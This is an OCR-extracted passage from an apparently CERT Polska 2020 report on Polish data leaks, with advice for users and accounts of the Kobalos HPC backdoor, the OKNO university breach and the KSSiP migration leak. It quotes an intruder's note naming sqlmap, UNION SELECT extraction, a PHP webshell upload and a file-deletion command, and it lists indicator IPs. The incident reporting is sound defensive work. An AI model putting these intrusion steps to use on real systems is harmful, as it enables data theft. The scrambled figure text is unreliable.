tatwo sobie wyobrazi¢ sytuacje, w ktorej
placowka (np. medyczna) wysyta informacje
do swoich pacjentow o nowej ustudze albo
0 wyjatkowym zdarzeniu (np. o niedostepnosci
systemu rezerwacji w danym okresie). Jezeli
taka komunikacja zostanie wystana zbiorowo
w nieodpowiedni sposoéb, odbiorcy wiadomo-
sci bedg mogli w wielu przypadkach poznac
imiona i nazwiska (zawarte czesto w adresach
e-mail) innych pacjentéw tej placéwki. Sam
adres e-mail rowniez nalezy traktowac jak dang
osobowg, bowiem w dzisiejszych czasach,
wraz ze wzrostem ilosci informacji przetwa-
rzanych w systemach informatycznych, moz-
liwosci powigzania adresu skrzynki pocztowej
z konkretng osobg stale rosng. Sytuacje takg
mogag wykorzystac¢ przestepcy. Niestawny juz
wyciek ze sklepu internetowego morele.net
z 2018 r. nadal moze by¢ skutecznie wykorzy-
stywany do przygotowywania lub wzbogacania
danych przez przestepcow, np. do przeprowa-
dzania atakéw phishingowych. Jednak nie tylko
obstuga masowej wysytki wiadomosci e-mail
moze powodowac problemy. Obserwowalismy
wycieki wrazliwych danych spowodowane
np. zgubieniem sprzetu bgdz nosnikow, ktore
nie byty szyfrowane. Nalezy zdawac sobie spra-
we, ze w wiekszosci domysinych konfiguracji
systemow operacyjnych, dane przechowywa-



ne na dyskach nie sg szyfrowane (chociaz
sytuacja ta w ostatnich latach sie poprawia).
Oznacza to, ze 0soba, ktora uzyska fizyczny
dostep do nosnika (np. znajdzie zgubiony
sprzet) bedzie mogta bez zadnych przeszkdd
odczytac¢ dane przechowywane na kompu-
terze. Kolejng zaobserwowang przyczyna
wyciekow jest czasowe umieszczenie zbiorow
danych w publicznie dostepnym miejscu. Sy-
tuacja taka ma miejsce najczesciej w czasie
tworzenia backupu albo migracji systemow
i wynika z zaniedbania lub niewiedzy. W takich
przypadkach czesto styszymy o zastosowaniu
tzw. “gtebokiego ukrycia”. Jest to jednak termin
mowigcy jedynie o tym, ze nie uzyto zadnych
rzeczywistych zabezpieczen do zapewnienia
poufnosci wrazliwych danych.

Skala i waga zjawiska

Skale problemu wycieku danych moze zobra-
zowac fakt, ze wedtug naszych ostroznych
szacunkow, na przestrzeni lat wyciekty infor-
macje dotyczgce co najmniej 10 milionow
kont polskich uzytkownikow internetu. Mnigj
ostrozne estymacje wskazujg na liczbe okoto
50 milionow.

Rok 2020 nie byt w zadnym wzgledzie zaskaku-
jacy, biorgc pod uwage liczbe i rodzaje wycie-
kow danych. Polskich uzytkownikéw dotknety
m.in. naruszenia ochrony danych osobowych
przetwarzanych przez sklepy internetowe
cyfrowe.pl oraz exerion.pl, ale do niechlubnej
listy podmiotow, ktorym przydarzyt sie wyciek
danych, dotgczyty rowniez PANEK rent a car,
portal benchmark.pl oraz forum operatora Play
(pod adresem forumplay.pl). W przypadku pod-
miotow niekomercyjnych wartych odnotowania
doszto do wycieku danych z Internetowego
Forum Policyjnego (ifp.pl) bedgcego nieoficjal-
nym portalem zrzeszajgcym funkcjonariuszy
Policji. Zakres danych i skala wyciekéw byty
rozne. Zdarzato sie, ze upubliczniono wytgcznie
adresy e-mail wraz z hashami haset. Jednak
w niektorych przypadkach zakres danych byt
znacznie szerszy i obejmowat rowniez imiona,
nazwiska, numery telefonu, adresy zamiesz-
kania oraz numery PESEL. Ponadto, oprocz
wymienionych podmiotéw komercyjnych lub
prywatnych, problemy w nalezytej ochronie
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danych osobowych miaty rowniez instytucje
oswiatowe. Zespot CERT Polska w 2020 .
obstugiwat incydenty zwigzane z Krajowg
Szkotg Sgdownictwa i Prokuratury, Politechnikg
Warszawskg czy Uniwersytetem Warszaw-
skim. O bolgczkach sektora edukacji piszemy
w osobnym artykule str. 101 “Incydenty na pol-
skich uczelniach w 2020 r.".

Problemy ujawnione przez wycieki

W niedostateczny sposob zabezpieczone
hasta to wcigz jedna w przyczyn wycieku
danych, ktérg obserwujemy od lat. Zdarzajg
sie przypadki, gdzie hasta przechowywane
w bazie danych sg zabezpieczone skrotem
kryptograficznym (hashem) MD5. Od ponad
dekady uzywanie skrotow MD5 bgdz podob-
nych (np. z rodziny SHA) do przechowywania
haset jest uwazane za ztg praktyke. Ma to o tyle
duze znaczenie, ze bardzo utatwia masowe
tamanie haset, co moze prowadzic¢ do przej-
mowania przez przestepcow powigzanych kont
uzytkownikow na innych portalach, jesli uzyli
tam takiego samego bgdz podobnego hasta.
Jednak nawet w przypadku, kiedy podmiot,
ktoremu powierzylisSmy swoje dane, przecho-
wywat hasta w aktualnie zalecany sposoéb
(np. przy uzyciu algorytmow Berypt, PBKDF2
czy Argon2id) rowniez nie mozemy czuc sie
w petni bezpieczni. Nawet takie algorytmy
nie oprg sie atakom, jesli nasze hasto byto
bardzo proste. Szczegdlnie, gdy celem ataku-
jacego jest odzyskanie hasta pojedynczego
uzytkownika, a nie masowe dziatanie. Tego
typu zabezpieczenia nie mogg zostac uznane
za wystarczajace, jesli uzytkownik nie stosowat
bardzo silnego, najlepiej losowego hasta.

Czesto same dane osobowe, adresy, czy
numery telefonow bedg znacznie bardziej
wartosciowe dla przestepcdw, niz poznanie
uzywanego przez nas hasta. Zakres i skala wy-
ciekow pokazujg bez cienia watpliwosci, ze sto-
sowanie numeru PESEL jako uwierzytelnienia
uzytkownika jest ztym pomystem. Niestety,
nadal jest to popularng praktykg. Nalezy mie¢
na uwadze, ze numer PESEL podlega specjalne;
ochronie zgodnie z art. 87 RODO i powinien by¢
przetwarzany zgodnie z zasadg minimalizacji
danych (art. 5 ust. 1 lit. c RODO).
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Jak o siebie zadbac¢

Niestety, jako bezposredni lub posredni uzyt-
kownicy réznych systemow informatycznych
nie mamy mozliwosci na realng ocene ryzyka
wycieku. Dodatkowo, nawet najlepiej zabezpie-
czony system informatyczny zawsze bedzie
podatny na btedy ludzkie, ktorych nie uda sie
nigdy wyeliminowac¢ w stu procentach.. Nalezy
wiec zatozyc¢, ze nasze dane juz zostaty upu-
blicznione lub ze wkrétce to nastgpi. Majac to
na uwadze, warto przestrzegac kilku zasad, aby
nie tyle zmniejszy¢ ryzyko wycieku naszych da-
nych, co zminimalizowac¢ zawczasu negatywne
skutki takiego incydentu:

Podawaj minimalng wymagana ilos¢ danych
osobowych

Im mniej informacji na twoj temat bedzie
przetwarzanych, tym mniej atrakcyjne one
bedg dla atakujgcych, bgdz trudniej bedzie ich
uzyc¢ do przeprowadzenia ataku lub kradziezy
tozsamosci.

Uzywaj mozliwie unikalnych haset

Rada, od lat powtarzana jak mantra przez
specjalistow z dziedziny bezpieczenstwa,
jednak trudna do zrealizowania w codziennym
zyciu. Rozwigzaniem tego problemu moze byc¢
uzywanie oprogramowania do zarzgdzania
hastami. Jesli nie jest to rozwigzanie dla ciebie,
nie jestes w stanie zapamietac rosngcej liczby
trudnych haset, zadbaj o to, aby stosowac
bezpieczne, unikalne hasta w najbardziej kry-
tycznych miejscach, takich jak: poczta e-mail,
bankowosc¢ elektroniczna czy profil zaufany.
Dodatkowo, jezeli istnieje taka mozliwosc,
wtgcz uwierzytelnienie dwusktadnikowe —
szczegolnie w najwazniejszych ustugach.

Nie ignoruj ostrzezen badz incydentow

Przepisy ustawy o ochronie danych osobowych
naktadajg na administratora danych osobowych
obowigzek poinformowania uzytkownikow,
jezeli zostat wykryty wyciek danych. Informacja
taka musi zawierac¢ przede wszystkim zakres
danych, ktére wyciekty. Najczesciej w przypad-
ku, kiedy wyciekty rowniez hashe haset, hasta
do kont uzytkownikéw zostang zresetowane.
Nie ignoruj takich ostrzezen. Przeczytaj je do-
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ktadnie oraz poswiec chwile na zastanowienie
sie, jakie wrazliwe dane na twoj temat mogty
zostac upublicznione. Zastandw sie, czy hasto
uzywane w tym miejscu, mogto byc rowniez
wykorzystane gdzies indziej. Nie ignoruj row-
niez incydentow takich jak np. przejecie konta
na portalu spotecznosciowym. Oprécz podjecia
krokdw majgcych na celu odzyskanie dostepu,
zastanow sie, czy uzywates tego konta jako
metody uwierzytelnienia w innych miejscach
oraz czy hasto tam uzywane nie byto réwniez
uzywane gdzies indziej. Taki incydent, o ile nie-
watpliwie niepokojgcy i mogacy niesc¢ ze sobg
pewne przykre konsekwencje, moze stanowi¢
idealny moment na przemyslenie, czy nasz
poziom ,higieny internetowej” nie przyczynit sie
do atakui.

Zastosuj separacje swoich wirtualnych tozsa-
mosci

Tak samo, jak w ramach obowigzkow stuz-
bowych wykorzystujesz osobny adres e-mail,
zapewniajgc separacje srodowiska stuzbowego
od prywatnego, tak samo mozna potraktowac
swoj ,oficjalny” prywatny adres i odroznic¢ go
od tego uzywanego dla rozrywki. Zastanow
sie, czy na przystowiowym ,forum z kotami”
powinienes uzywac tej samej tozsamosci, co
przy sktadaniu rozliczenia skarbowego albo
umawianiu sie na wizyte lekarskg. Zatozenie
osobnego konta pocztowego i wykorzystywa-
nie go do mediow spotecznosciowych albo
portali hobbystycznych pozwoli Ci zachowac
wiekszg roztgcznosc srodowiska, ktore prze-
chowuje i przetwarza najbardziej wrazliwe in-
formacje dot. twojej osoby od tych wszystkich
miejsc, ktore tak naprawde nie muszg znac¢
twojej prawdziwej tozsamosci.

Wyciekto! Co zrobi¢? Jak zy¢?

Czynnosci, ktdre nalezy podjg¢ po ujawnieniu
wycieku naszych danych, zalezg w gtownej
mierze od tego, jakie doktadnie dane ulegty
naruszeniu. W najwiekszej ilosci przypadkow
ujawnione dane bedg zawieraty nasze (za-
bezpieczone) hasto. Jak wyjasniono wyzej,
nawet jezeli zastosowane byty adekwatne
zabezpieczenia, nie mozemy czuc sie w stu
procentach bezpieczni. W takiej sytuacji, admi-
nistrator ustugi powinien zresetowac wszystkie
hasta uzytkownikéw dotknietych wyciekiem



danych. Jezeli jednak tego nie zrobi, warto pro-
filaktycznie zmieni¢ hasto dostepowe, nawet
jezeli nie mamy gwarancji, ze takie dane byty
zawarte w wycieku. Ponadto, jezeli uzywalismy
takiego samego lub podobnego hasta w innych
miejscach, musimy sami zadbac o to, aby
takie hasta samodzielnie zmienic¢. Przestepcy
regularnie wykorzystujg dane z wyciekow przy
probach przejecia kont na innych portalach
— pamietajmy o tym i zadbajmy o swoje bez-
pieczenstwo.

Jezeli wyciekowi ulegty dane dotyczgce
nie tylko naszej wirtualnej tozsamosci, ale na-
szej tozsamosci legalnej (numer PESEL, numer
dowodu osobistego) warto rozwazy¢ podjecie
krokéw w celu zmniejszenia ryzyka oszustw
zwigzanych z kradziezg tozsamosci. Najpopu-
larniejszym sposobem przestepcoéw na mo-
netyzacje takich danych jest proba wziecia
pozyczki bgdz zaciggniecia kredytu na cudze
dane. Niestety, nie istnieje w Polsce rzgdowy,
zunifikowany sposéb ochrony przed takimi
dziataniami. Sg jednak dostepne komercyjne
rozwigzania, zarowno ptatne jak i darmowe,
ktorych celem jest ochrona bankow i pozyczko-
dawcow przed udzielaniem swiadczen na rzecz
0sOb postugujgcych sie skradzionymi tozsa-
mosciami. W efekcie, rozwigzania te chronig
rowniez konsumentow. Do takich ustug mozna
zaliczyc:

- Biuro Informacji Kredytowej (BIK) oferujgce
m.in. powiadomienia o probie uzyskania
kredytu na nasze dane oraz raporty podsu-
mowujgce nasze zobowigzania kredytowe.

+ Rejestr dtuznikow BIG — majacy na celu
gromadzenie i udostepnianie informacji
dotyczgcych osob z nieuregulowanymi zo-
bowigzaniami.

+ Portal bezpiecznyPESEL.pl — pozwalajgcy
na bezptatne zastrzezenie naszego numeru
PESEL w celu zapobiegania zaciggnieciu
pozyczki na nasze dane osobowe.

Oprocz powyzszych, w przypadku, kiedy upu-
blicznione zostaty dane z naszego dowodu 0so-
bistego, warto rozwazy¢ wymiane dokumentu
tozsamosci na nowy. Co wazne, oprocz samej
wymiany, nowe dane dowodu nalezy zaktu-
alizowac we wszystkich istotnych miejscach
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— szczegolnie w bankach, ktorych klientami
jestesmy. Przestepcy potrafig w krotkim czasie
wyrobic falsyfikat dowodu osobistego, co moze
miec wiele powaznych konsekwencji. Warto
jednak mie¢ swiadomosc, ze nie jest to proste
ani tanie przedsiewziecie. Tego typu oszustwa
sg dokonywane jedynie, jesli przestepca uzna,
ze kradziez konkretnej tozsamosci moze mu
przyniesc¢ duzy zysk. Ryzyko zwigzane z tego
typu oszustwami jest zazwyczaj znacznie
wieksze, a sama operacja trudniejsza i bardziej
kosztowna do przeprowadzenia, dlatego nie ob-
serwujemy masowych fatszowan dokumentow
tozsamosci na podstawie wyciekow danych.

Ostatnig, ale moze i najwazniejszg radg jest
wzmozona ostroznosc. Nalezy sobie uswiado-
mic, ze wycieki danych sg idealng pozywka dla
przestepcow i nieustannie zasilajg ich mozliwo-
sci masowych, ale tez bardziej spersonalizo-
wanych atakow. Im wiecej aktualnych danych
na nasz temat przestepcy pozyskaja, tym bar-
dziej wiarygodne oszustwa (scamy) badz ataki
phishingowe bedg w stanie przeprowadzic.
O ile ostroznosc¢ i odpowiednia higiena interne-
towa powinna byc¢ dla dzisiejszych internautow
codziennoscig, o tyle w przypadku ujawnienia
wycieku danych, powinnismy miec sie bardziej
na bacznosci. Jezeli nasze dane bedg mogty
zostac uzyte do przeprowadzenia ataku, prze-
stepcy na pewno nie zrezygnuja z takiej okazji.
Zachecamy rowniez do sledzenia naszych me-
diéw spotecznosciowych na portalu Facebook
(https:/fb.com/CERT.Polska) oraz na Twitterze
(@CERT_Polska), gdzie informujemy o obser-
wowanych przez nas biezgcych zagrozeniach
wymierzonych w polskich internautow.

Dziatania UODO

Instytucja, ktorej zadaniem jest dbanie o prze-
strzeganie przepisow ustawy o ochronie da-
nych osobowych jest Urzedu Ochrony Danych
Osobowych (UODQ). W 2020 r. Prezes UODO
prowadzit szereg spraw zwigzanych z narusze-
niami. Konczyty sie one roznie, od upomnien
dla incydentow o niewielkiej wadze do kar
grzywny przekraczajgcych milion ztotych. Jest
to jasny sygnat dla wszystkich podmiotéw
publicznych i prywatnych, ze nalezy dochowac
starannosci wszedzie tam, gdzie przetwarzane
sg dane osobowe.
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Polskie uczelnie i jednostki naukowo-badawcze
stanowig z perspektywy polskiego cyberbez-
pieczenstwa bardzo istotny, a jednoczesnie
bardzo zaniedbany obszar, o czym Swiadczy
liczba powaznych incydentow w tym sektorze,
do ktorych doszto w 2020 r. Na uczelniach,
ktére padty ofiarg cyberprzestepcow, w wielu
wypadkach doszto do wycieku danych osobo-
wych studentéw i pracownikow.

Atak na centrum obliczeniowe ICM UM

W lutym 2020 r. pracownicy Interdyscypli-
narnego Centrum Modelowania Matema-
tycznego i Komputerowego Uniwersytetu
Warszawskiego (ICM UW) zauwazyli, ze do-
szto do nieuprawnionego dostepu do klastra
obliczeniowego HPC (High-Performance
Computing). Wedtug wstepnej analizy
przeprowadzonej przez ICM, atakujgcy do-
konat podmiany oprogramowania SSH
na wersje posiadajgcg wbudowany backdoor,
umozliwiajgcy m.in. przechwytywanie logindw
i haset uzytkownikéw logujgcych sie do klastra.
Incydent zostat wykryty w lutym 2020 r., jednak
ustalono, ze backdoor znajdowat sie na serwe-
rze co najmniej od wrzesnia 2019 .

39 https://csirt.eqi.eu/attacks-on-multiple-hpc-sites
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Klaster ICM UW nie byt jedynym zaatakowa-
nym klastrem HPC, podobne wtamania obser-
wowano w catej Europie. W maju 2020 r. CSIRT
EGI (European Grid Infrastructure) upublicznit
informacje o dwaoch incydentach, potencjalnie
powigzanych z atakami na infrastrukture
HPC39. Wedtug ustalen z pierwszego incydentu,
oznaczonego jako #EGI20200421, przechwyco-
ne loginy i hasta wykorzystywane byty do ko-
pania kryptowaluty Monero na komputerach
wchodzgcych w sktad centrow obliczeniowych,
a takze do atakowania innych komputerow,
wykorzystujgc przejete maszyny jako proxy.
Jednym z takich proxy byty miedzy innymi ser-
wery andromeda.up.krakow.pl i vega.up.krakow.
pl nalezace do Uniwersytetu Pedagogicznego
im. Komisji Edukacji Narodowej w Krakowie.
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Indicators of compromise
Network based

IP Comment
91.196.70.109 XMR mining server
149.156.26.227  Victim server andromeda.up.krakow.pl
149.156.26.56 Victim server vega.up.krakow.pl
142.150.255.49

Victim desktop UTORONTO

159.226.234.29  Victim server at CAS, China

Role in attack

Coordinate the XMR

Malicious IP used fo

Malicious IP used for

Source for attack on
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activity
r SSH logins + running SOCKS proxy
55H logins + running SOCKS proxy

.ca hosts

Malicious IP used for SSH logins + running SOCKS proxy

Rys. 55. Indykatory wskazujace na wykonanie ataku z poziomu serweréw krakowskiego Uniwersytetu Pedagogicz-

nego. Zrédto: CSIRT EGI.

Oproécz backdoora OpenSSH, w atakach wyko-
rzystywany byt rowniez otwartozrodtowy root-
kit dziatajgcy na poziomie jgdra systemu Linux
0 nazwie Diamorphine40. Pozwalat on na ukry-
cie aktywnosci atakujgcych na serwerze, np.
poprzez ukrywanie odpowiednio oznaczonych
plikow i procesow.

W lutym 2021 r. analitycy z firmy ESET opubli-
kowali szczegdtowg analize ztosliwego opro-
gramowania, ktorym postuzyli sie atakujgcy
m.in. przeprowadzajgc atak na klaster ICM
UW. Backdoor Kobalos#?, o ktorym mowa, jest
wieloplatformowym backdoorem dziatajgcym
na systemach Linux, FreeBSD i Solaris. Zna-
leziono rowniez artefakty, ktére mogg wska-
zywac na istnienie wersji mogacych dziatac
na systemie AIX (jedna z odmian systemu Unix
dla serweréw firmy IBM), a takze wariantéw
dziatajgcych na systemach Windows. Ze wzgle-
du na mnogosc¢ architektur i rodzajow sys-
temow operacyjnych dziatajgcych w ramach
klastrow HPC, wieloplatformowosc¢ istotnie
pomogta w sprawnym rozprzestrzenianiu sie
ztosliwego oprogramowania w ramach tego
typu infrastruktury.

3? https://github.com/m0Onad/Diamorphine

Ztosliwe oprogramowanie wykorzystywato
rowniez liczne techniki obrony przed wykryciem
i analizg, takie jak: obfuskacja kodu, ochro-
na przed wygenerowaniem zrzutu pamieci
zainfekowanego procesu, a takze przywraca-
nie pierwotnych dat modyfikacji plikéw przy
ich podmienianiu przez malware. Kobalos
mogt dziata¢ zarowno jako pasywny backdoor,
nastuchujgc polecen na wskazanym porcie, jak
i element botnetu, aktywnie komunikujgc sie
z serwerem C&C i wykonujgc dowolne komen-
dy na zainfekowanej maszynie. Komunikacja
z backdoorem byta szyfrowana, co utrudniato
analize ruchu i przechwycenie komend zleca-
nych przez atakujgcego.

https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastruc-

ture/
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server A server B
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Operator 0 W
Compromised
O

server C
File

Terminal
system —a—) Kobalos backdoor

Server B uses Server A
as CEC server.

Direct connection

Server Ais used to proxy
to the backdoor.

connection to Server C.
Rys. 56. Mozliwe scenariusze uzycia ztosliwego oprogramowania Kobalos. Zrédto: raport ESET.

Wedtug raportu firmy ESET, infekcje backdoorem odnotowano w Ameryce Potnocnej, Europie i w Azji,
przy czym obecnosc¢ Kobalosa w sieciach uniwersyteckich i wykorzystanie go w atakach na klastry
HPC odnotowano gtéwnie w Europie.

North America Europe Asia
Endpoint security University netwaorks Large Internet
software vendor service provider

Personal servers
Government

Rys. 57. Lokalizacje i rodzaje podmiotow, u ktérych stwierdzono infekcje ztosliwym oprogramowaniem Kobalos.

Zrédto: raport ESET.
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Wyciek danych z systemu OKNO
Politechniki Warszawskiej

4 maja 2020 r., portale Niebezpiecznik i Za-
ufana Trzecia Strona opublikowaty informacje
o wycieku danych studentéw Politechniki
Warszawskiej, studiujgcych w ramach studiow
zaocznych w OKNO (Osrodek Ksztatcenia
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na Odlegtosc). Zrzut bazy danych o rozmiarze
ok. 2,8 GB zawierat dane osobowe 5.000 stu-
dentéw z lat 2008-2020 i 200 pracownikow
naukowych zarejestrowanych na platformie
red.okno.pw.edu.pl. Oprécz danych osobowych
wyciekty rowniez hasze MD5 haset, ktore ze
wzgledu na wykorzystang funkcje skrotu byty
tatwe do odwrocenia.

Kto wykradt dane studentow Politechniki Warszawskiej i
dlaczego ich nie sprzedaje

Kat=gQori Inro Wiamania z agam

Politechnika Warszawska »

i Wyciek danych z Politechniki Warszawskiej — nazwiska,

4/5/2000

dane kontaktowe, oceny

Rys. 58. Nagtéwki portali Zaufana Trzecia Strona i Niebezpiecznik informujace o wycieku.

Oba portale zostaty poinformowane o wycieku
przez samego wtamywacza, ktoéry na biezgco
przekazywat kolejne dane i szczegoty na temat
ataku.

Zespot CERT Polska niezwtocznie skon-
taktowat sie z Politechnikg Warszawskg
w celu potwierdzenia doniesien medialnych,
a takze zaoferowat pomoc w obstudze incy-
dentu. Uczelnia odpowiedziata na wiadomosci
7 maja, czyli dopiero po 3 dniach od publikacji
informacji o wycieku. Naruszono tym samym
obowigzek niezwtocznego zgtoszenia incy-
dentu do wtasciwego zespotu CSIRT, czyli
nie pdzniej niz w ciggu 24 godzin od momentu

wykrycia. Obowigzek ten wynika z ustawy
o krajowym systemie cyberbezpieczenstwa,
pod ktorg podlegajg m.in. podmioty publiczne.
W przypadku Politechniki Warszawskiej wtasci-
wy zespot CSIRT stanowit CSIRT NASK.

Z kolei 22 maja w repozytorium Gitlab nale-
zgcym do Instytutu Automatyki i Robotyki
Wydziatu Mechatroniki Politechniki Warszaw-
skiej pojawita sie publicznie dostepna notatka
(snippet) z wiadomoscig od wtamywacza.
Notatka zostata dodana z konta Administrator,
CO oznacza, ze Gitlab rowniez padt ofiarg wia-
mania.
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v Snippets

@ Snippet $1 authored about 6 hours ago byl §* Administrator

OKNO

= okno.txtzssks I

Pani Rzecznik Izabela Koptori-Ryniec oskarza dziennikarzy o szerzenie
nieprawdziwych informacji na temat wczesniejszego wycieku przed 3 maja
oraz SOLi...a péZniej PW przyznaje, Ze system zostal spenetrowany w styczniu.

Mowi, ze “wlamano sie za pomocy backdoora” zainstalowanego z konta wyktadowcy,
ale nie mowi, jak na to konto wtamano 519.
z pokrzywdzonymi, gdzie powiedziano o “zmasowanych atakach™ 2 1 3 stycznia,
ktore rzekomo odparto.

Ttumaczenie:
- zmasowany atak = sqlmap
- odparto = " -f /var/www/html/sas/print/druk_obliczenia_osoba.php”

Gdy administatorzy odkryli, ze ktos im sciaga baze union selectem, wtedy
zareagowali. Niestety za péZno - tabela "uzytkownik” zostata juz wtedy
Sciagnieta, a zawierata ona (jak sami wiecie) zardéwno wrazliwe dane osobowe,
jak i hashe haset - w tym do wspomnianego przez PW konta wyktadowcy. Dalej
wystarczyto do jednego z przedmiotéw dodac “"materiat dydaktyczny”

z rozszerzeniem php.

Admini nie przyznali sig¢ w porg, e indentycznego backdoora (Predator webshell)
wykryli juz w lutym/marcu i tez po cichu skasowali.

PW odnosi sie w FAQ do obowiazku archiwizowana danych studentow przez 58 lat,
ale to tylko zmytka - obowiazek ten w brzmieniu ustawy dotyczy teczek akt

B

Rys. 59. Notatka widoczna w serwisie Gitlab IAiR PW. Zrédto: Niebezpiecznik.

Wtamywacz w notatce odnosi sie do informa-
cji, ze do wycieku bazy OKNO mogto dojsc¢ juz
na poczgtku 2020 r., za posrednictwem podat-
nego pliku druk_obliczenia_osoba.php dostep-
nego na serwerze. Plik ten miat by¢ rzekomo
usuniety przez administratorow serwisu bez
poinformowania pokrzywdzonych o wycieku.
Politechnika Warszawska zaprzeczyta tym
informacjom. Backdoor Predator opisywany
w notatce stanowi webshell w jezyku PHP,
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ktory miat zostaC wgrany za posrednictwem
przejetego konta wyktadowcy. Webshell
po uruchomieniu pozwala na dostep do plikow
znajdujgcych sie na serwerze i wykonanie do-
wolnego kodu.

W sierpniu 2020 r. portale Niebezpiecznik i Za-
ufana Trzecia Strona otrzymaty kolejne infor-
macje od wtamywacza dotyczgce majowego
wycieku.

Rys. 60. Fragmenty zrzutu bazy danych Moodle podchodzace z platformy OKNO.
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Witamywacz podestat kolejng porcje danych
pochodzgcych z bazy systemu Moodle, ktory
znajdowat sie na tym samym serwerze co apli-
kacja OKNO Red. Informacja zawierata dane
osobowe 1.900 studentéw studiéw inzynier-
skich i magisterskich. W bazie zawarta byta
rowniez korespondencja miedzy studentami
a osobami prowadzgcymi zajecia. Wtadze Poli-
techniki Warszawskiej zdementowaty doniesie-
nia o wycieku danych, utrzymujgc, ze w maju
2020 r. wlamywacz pozyskat wytgcznie dane
z platformy Red.

nask CERT.PLO-

Wtamanie na platforme OKNO nie byto jedynym
incydentem ujawnienia danych osobowych,
do ktorego doszto w 2020 r. na Politechnice
Warszawskiej. W lipcu 2020 r. wyciekty dane
osobowe kandydatéw na studia na Wydziale
Architektury, pochodzgce z platformy rekru-
tacyjnej Politechniki Warszawskiej (zapisy.
pw.edu.pl). W zwigzku z wyciekiem na platfor-
mie pojawit sie komunikat od Administratora
Danych Osobowych.

Komunikaty od Uczelni

ZAWIADOMIENIE

Informujemy, Ze w dniu 24 czerwca 2020 r. w wyniku niezamierzonego
dzlatania, na stronle internetowej Wydzialu Architektury Politechnikl
Warszawskiej, zostaty opublikowane Pani/Pana dane osobowe Zwiazane
z aplikacja na studia. W zwigzku z powy2szym moZe nastapic
nieuprawnione wykaorzystanie tych danych

W Pani/Pana przypadku ujawnieniu ulegly nastepujgce dane: imie,
nazwisko, nr PESEL oraz numer Pani/Pana w systemie Rekrutacja”.

O naruszeniu ochrony danych osobowych Politechnika Warszawska
powiadom| niezwtocznle Urzad Cchrony Danych Osobowych (UODO).

W wyniku przedmiotowego naruszenia ochrony danych osobowych,
istnieje prawdopodobienstwo wystapienia dla Pani/Pana negatywnych

skutkow w postacl:

Rys. 61. Fragment komunikatu, ktéry pojawit sie na platformie zapisy.pw.edu.pl. Zrédto: Niebezpiecznik.

W ramach wycieku upublicznione zostaty imio-
na i nazwiska, numery PESEL i numery kandy-
datow w systemie Rekrutacja. Wyciek zgodnie
komunikatem byt wynikiem “niezamierzonego
dziatania®, co sugeruje, ze byt efektem pomyiki
a nie nieuprawnionego dostepu do systemu re-
krutacyjnego. Incydent prawdopodobnie nie byt
powigzany z atakiem na serwis OKNO.

Wyciek danych z Krajowej Szkoty
Sadownictwa i Prokuratury

Na poczatku kwietnia 2020 r. Krajowa Szkota
Sadownictwa i Prokuratury wydata komunikat
o mozliwym uzyskaniu nieuprawnionego
dostepu do danych Platformy Szkoleniowej

e-KSSiP. Za sprawg wycieku ujawnione zostaty
dane osobowe ok. 50 tys. oséb, w tym m.in.
aplikantow sedziowskich i prokuratorskich,
sedziow, prokuratorow, a takze wyktadowcow
prowadzgcych zajecia za posrednictwem
platformy. Wsréd danych znajdowaty sie takie
informacje jak imiona i nazwiska, hasze haset,
numery telefonéw, adresy e-mail czy miejsce
zamieszkania.
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Zawiadomienie o naruszeniu ochrony danych osobowych,
ktore moze powodowacé wysokie ryzyko naruszenia Pani/

Pana iraw lub wolnosci

DYREKTOR
KRAJOWEJ SZKOtY
SADOWNICTWA |
PROKURATURY

Szanowna Pani/Szanowny Panie

Dziatajgc na podstawie art. 34 Rozporzadzenia Parlamentu Europejskiego i Rady
(UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony oséb fizycznych w zwigzku
Z przetwarzaniem danych osobowych i w sprawie swobodnego przeptywu takich
danych oraz uchylenia dyrektywy 95/46/WE (ogdine rozporzgdzenie o ochronie
danych), zwane dalej RODO, informujemy o naruszeniu ochrony danych osobowych,
ktére moze powodowac wysokie ryzyko naruszenia Pani/Pana praw lub wolnosci.

Opis charakteru naruszenia

Naruszenie ochrony danych osobowych polegato na kradziezy danych
uzytkownikéw Platformy Szkoleniowej KSSiP, zarejestrowanych do dnia 21.02.2020 r.,
ktérych administratorem jest Krajowa Szkofa Sgdownictwa i Prokuratury z siedzibg w
Krakowie, ul. Przy Rondzie 5, 31-547 Krakdw. W efekcie kradziezy, dane przedostaty sie

do Internetu.

Dotychczasowe ustalenia wskazujg, ze przedmiotem kradziezy byty nastepujace

kategorie danych: imie, nazwisko, numer telefonu, adres e-mail, miejsce zamieszkania,
daty pierwszego i ostatniego logowania, numery ICQ, MSN, Skype, Yahoo, jednostka

(miejsce pracy), hasto (zaszyfrowane).

Aktualnie trwajg czynnosci analityczne celem ustalenia, czy przedmiotem kradziezy
byty réwniez numery PESEL, gdyz obecnie nie mozna catkowicie wykluczy¢ takiej

mozliwosci.

Rys. 62. Fragment komunikatu wystanego przez Dyrektora KSSiP do uzytkownikéw platformy e-KSSiP.

Dane osobowe zostaty przypadkowo upublicz-
nione przez firme zewnetrzng obstugujgca
system e-KSSIP, ktora podczas migracji danych
przeniosta je do publicznie dostepnego kata-
logu utworzonego na nowej wersji platformy.
Dane byty dostepne bez koniecznosci uwierzy-
telnienia, co umozliwito nieznanemu sprawcy
ich pobranie i opublikowanie na forum inter-
netowym.
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W nastepstwie wycieku na platformie KSSiP
zresetowano hasta wszystkich uzytkownikow.
Niestety czes¢ uzytkownikow platformy wyko-
rzystata podobne hasta do innych serwiséw, np.
profili spotecznosciowych, zas wykorzystany
algorytm haszowania nie byt wystarczajgcy,
by uniemozliwi¢ odzyskanie czesci haset.
Doprowadzito to do przejecia kont czesci osob
m.in. na platformie Facebook i wykorzystanie
ich do wytudzen.
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. 8 0O

Witasnie pieniadze mam na koncie, tylko nie mam

dostepu

€~ Dlatego jutro na 100% bede mogta odesta¢ <:

Tu policja wlasnie cie namierzamy

= Nawet konta nie potraficie odzyska¢ hahaha

Pozdrawiam rowniez

Pozdrawiamy

Zle trafiles

Swietnie trafitem, wyciek z KSSIP.GOV.PL <

500 zt zarobione z tego konta <

Rys. 63. Fragment rozmowy z oszustem komunikujgcym sie przy uzyciu przejetego konta Facebook.

W zwigzku z incydentem 22 kwietnia 2020 r.
zostat zatrzymany pracownik firmy migruja-
cej dane42. Prokuratura Regionalna w Lublinie
przedstawita mu zarzut udostepnienia danych
umozliwiajgcych nieuprawniony dostep do in-
formacji przechowywanych w systemie KSSIP,
za co grozi do 5 lat pozbawienia wolnosci.

Oprocz wtaman na profile spotecznosciowe
i oszustw z wykorzystaniem danych z wycieku,
